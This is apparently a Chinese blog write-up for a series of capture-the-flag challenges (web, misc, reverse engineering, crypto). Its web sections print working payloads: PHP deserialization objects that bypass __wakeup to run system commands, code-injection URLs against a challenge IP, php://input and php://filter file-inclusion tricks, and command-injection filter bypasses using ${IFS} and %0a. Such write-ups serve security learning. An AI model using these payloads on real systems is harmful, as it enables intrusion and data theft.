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web nani

进入查看源码可以看见：

添加参数file，提示一个user.php，发现存在文件包含，直接进行文件读取，得到user.php的源码：

https://blog.csdn.net/qq_42967398
https://blog.csdn.net/qq_42967398/category_8510365.html
https://blog.csdn.net/qq_42967398/category_9069394.html
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<?php
class convent{
 var $warn = "No hacker.";
 function __destruct(){
  eval($this->warn);
 }
 function __wakeup(){
  foreach(get_object_vars($this) as $k => $v) {
   $this->$k = null;
  }
 }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

又是反序列化，构造反序列化执行代码：

<?php

class convent{
 var $warn = "system('ls');";
 function __destruct(){
  eval($this->warn);
 }
 function __wakeup(){
  foreach(get_object_vars($this) as $k => $v) {
   $this->$k = null;
  }
 }
}

$a = new convent();
echo serialize($a);
?>

绕过__wakeup方法，payload：

O:7:"convent":2:{s:4:"warn";s:13:"system('ls');";}

得到flag：



MISC XImg

steg存在一个二维码，是假的，，，，
利用Zsteg工具，安装：

gem install zsteg

直接运行可以得到flag：

附上一个隐写工具合集文章：隐写术 - 有用工具和资源的列表

RE basebasebase

https://blog.csdn.net/nzjdsds/article/details/86756717


下载下来无法运行，，直接拖入ida，查看字符串：

main反编译看不见代码，只能看汇编，，，，，
得到一串base64的编码，不过0~9变成了键盘上的字符
而且我们可以看见一串明文：

可以看出，这串明文是进行比较的：

不过直接base变码解不出来，因为表都不对，所以我们怀疑是进行变化
最后看见：

有亦或，直接进行变化得到字符串：



a = ['Y','n','{','k','Y',' ','w','j','Z','[','M','o','[','C','Z','*','Z','C','w','e','V','n','U','C','Y','[','I'
,'y','Y','[','*',')']

flag = ""
for i in a:
 flag += chr(ord(i) ^ 3)
print(flag)

利用自己写的base64变码脚本执行得到flag：

WEB random

打开题目得到源码：

 <?php 
    show_source(__FILE__); 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    $seed = @$_REQUEST['seed']; 
    $key = @$_REQUEST['key']; 
     
    mt_srand($seed); 
    $true_key = mt_rand(); 
    if ($key == $true_key){ 
        echo "Key Confirm"; 
    } 
    else{ 
        die("Key Error"); 
    } 
    eval( "var_dump($a);"); 
?>

构造执行即可，，，传入seed和key，然后利用代码执行
payload，都行：

http://120.55.43.255:27189/?seed=5555&key=941403987&hello=file(%22flag.php%22)
http://120.55.43.255:27189/?seed=5555&key=941403987&hello=);system(%22cat%20./flag.php%22

https://blog.csdn.net/qq_42967398/article/details/101778364


crypto rsa

给出了e，n，dp，c，直接上网找到大佬的模板套用一下即可常见的RSA套路脚本：

https://www.cnblogs.com/P201521440001/p/11439344.html


import gmpy2 as gp

e = 65537
n = gp.mpz(44451190737481162133386496843025141985534788208169588890453179536685751741728971621336340813755086640
9163408633679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356
1271311323458930073680698142868229310479154829475442307419246748803046079024135277946575561740213611137599627423
0696664362964480075920982989343822244747888266357389147338652013801799719536255991873023270971948684733724842512
1547893862458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597
2627835438862172202999593644761251673288834181098491393843186924401167467171560258693999900080340028817584529362
1392430642895544247583431160490590526072360778850433238982434829228640278147405437518492846287024001701258622980
6658850881803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883
8447061224077017823600722569871971184683916623661059646297868992814848848776407335492033946800060686372517176236
9159875357026047905040706926223658372690515149555080127427715503983984487205038077253740971416468008353911812464
6217833871816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155
927723376783)
dp = gp.mpz(2068808319440109818339862609435246930815052358358310427072319998892669477613153195320703166865240848
1119466919329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182
3033574743413297664078529832757904992253228624996649016331909252328021629771352542167078348948167305297599916343
4332203952841388393775239701146677952159076771178677731715916170064531809127852839525257608697983879091720117973
9657819356771788743301669430631157222234922010934163688512789947321007479617996170289230676037655762865962020063
056831019134814970048718940037920888121806608032574204482673114726401)
c = gp.mpz(37824591268986281966871625779510825533692888369398426380590870233759116040823497471635629241319078670
4878880742998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362
4774068906223456865035121515015923979267644429456554238016021001858672391068367048352156862460838121174396859906
3735224619151701064534341728316912310569778274702623104406463995537485487308960476667794272537410821374998205298
5866259433900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354
6778238230786468746321951283282999421281165082515648119235643629914666600054385804495581841970066234903034136364
6113743470392556478529933580334122205157013184204212092371918409168962980938082830664970244046076184815468261197
2768099340896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230
9081299652501512580489349859774937408974207183402685363637631276768991142198287535700409786401211853544318840415
9785191078434704094625175257720142679768491267164147030724979426975597227801310783188554478102938425606958671371
4201822683071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564
443133161527)

for x in range(1, e):
    if(e*dp%x==1):
        p=(e*dp-1)//x+1
        if(n%p!=0):
            continue
        q=n//p
        phin=(p-1)*(q-1)
        d=gp.invert(e, phin)
        m=gp.powmod(c, d, n)
        if(len(hex(m)[2:])%2==1):
            continue
        print('--------------')
        print(m)
        print(hex(m)[2:])
        print(bytes.fromhex(hex(m)[2:]))



得到flag：

WEB admin

进入页面发现没啥，，查看源代码得到：

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

emmmm，老套路了，，，
直接构造：

POST
/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

admin

得到class.php源码：

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//fffffflag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "Awwwwwwwwwww man";
    }
}
?>

直接读取flag不行，，，看来需要反序列化，不过没看见有反序列化的地方
怀疑代码没有给完，直接读取index.php，得到源码：



<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/fffffflag/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
    echo "<br/>";
    echo "hava a rest and then change your choose.";
}
 
?>

直接构造payload：

<?php
class Read{//fffffflag.php
    public $file = "fffffflag.php";
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "Awwwwwwwwwww man";
    }
}

$a = new Read();
echo serialize($a);
?>

运行结果：

O:4:"Read":1:{s:4:"file";s:13:"fffffflag.php";}



得到flag：

MISC pypi

这道题目真的头皮发麻，，，，

首先拿到压缩包，但是只能解压出一张图片，估计密码就在这张图片里面，，，

拿去lsb看看，发现有类似于base85的字符，，

在线解密一下，，，得到：

emmm，类似于jwt的字符串，拿去看看：



emmm，类似于jwt的字符串，拿去看看：

果然，方向没错，继续，爆破jwt的密钥：

进行MD5加密，得到密码！！！
解压得到：

直接去pypi网站搜索gameforflag：

下载文件，找到flag：

WEB post1



这道题目有点意思啊，，，打开页面发现提示，直接查看源代码，得到：

post传入一个a，然后进行读取flag.txt文件，不过并不是除了cat其他都能用，，

直接跑字典看过滤了哪些命令：

显然，cut没有过滤，不过测试的时候发现空格和/被过滤？？？
直接进行绕过读取flag.txt文件内容，payload: a=cut${IFS}-c1-33${IFS}flag.txt

WEB ping



进入页面可以f12查看源码：

构造绕过读取代码：

得到ping的源码：

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}



好像就是dwvs中的，，，，直接利用%0a绕过即可

得到flag文件，获得flag：

RE apk123

使用APKIDA打开，反编译就能看见源码，，，
RC4加密好像：

可以发现他已经写好解码的脚本了，只要我们抠出来运行一下就好了！！！

有些可能会报错，只要修改一下就好，java代码：

package Hello123;



package Hello123;

public class Main {
 public static String decry_RC4(String data, String key) {
  if (data == null || key == null) {
   return null;
  }
  return new String(RC4Base(HexString2Bytes(data), key));
 }
 
 private static byte[] initKey(String aKey) {
  byte[] b_key = aKey.getBytes();
  byte state[] = new byte[256];
 
  for (int i = 0; i < 256; i++) {
   state[i] = (byte) i;
  }
  int index1 = 0;
  int index2 = 0;
  if (b_key == null || b_key.length == 0) {
   return null;
  }
  for (int i = 0; i < 256; i++) {
   index2 = ((b_key[index1] & 0xff) + (state[i] & 0xff) + index2) & 0xff;
   byte tmp = state[i];
   state[i] = state[index2];
   state[index2] = tmp;
   index1 = (index1 + 1) % b_key.length;
  }
  return state;
 }
 
 private static byte[] HexString2Bytes(String src) {
  int size = src.length();
  byte[] ret = new byte[size / 2];
  byte[] tmp = src.getBytes();
  for (int i = 0; i < size / 2; i++) {
   ret[i] = uniteBytes(tmp[i * 2], tmp[i * 2 + 1]);
  }
  return ret;
 }
 
 private static byte uniteBytes(byte src0, byte src1) {
  char _b0 = (char) Byte.decode("0x" + new String(new byte[] { src0 })).byteValue();
  _b0 = (char) (_b0 << 4);
  char _b1 = (char) Byte.decode("0x" + new String(new byte[] { src1 })).byteValue();
  byte ret = (byte) (_b0 ^ _b1);
  return ret;
 }
 
 private static byte[] RC4Base(byte[] input, String mKkey) {
  int x = 0;
  int y = 0;
  byte key[] = initKey(mKkey);
  int xorIndex;
  byte[] result = new byte[input.length];
 
  for (int i = 0; i < input.length; i++) {
   x = (x + 1) & 0xff;
   y = ((key[x] & 0xff) + y) & 0xff;



   y = ((key[x] & 0xff) + y) & 0xff;
   byte tmp = key[x];
   key[x] = key[y];
   key[y] = tmp;
   xorIndex = ((key[x] & 0xff) + (key[y] & 0xff)) & 0xff;
   result[i] = (byte) (input[i] ^ key[xorIndex]);
  }
  return result;
 }
 
 public static void main(String[] args) {
  String Str = "52aedea36a3c058b38aa32e625889947db302a6d1defdabf413085abf611487bf445e85108327a867c27";
  System.out.println(decry_RC4(Str, "Flag{This_Not_Flag}"));
 }
}

得到flag：

WEB post2

非预期！！！！

读取post1的源码发现：

post2直接读取：

可以说是很骚气了，，，，

预期解是盲注，全部wp可以看下面这篇师傅的博客！！！！
第四季CTF答题赛write up
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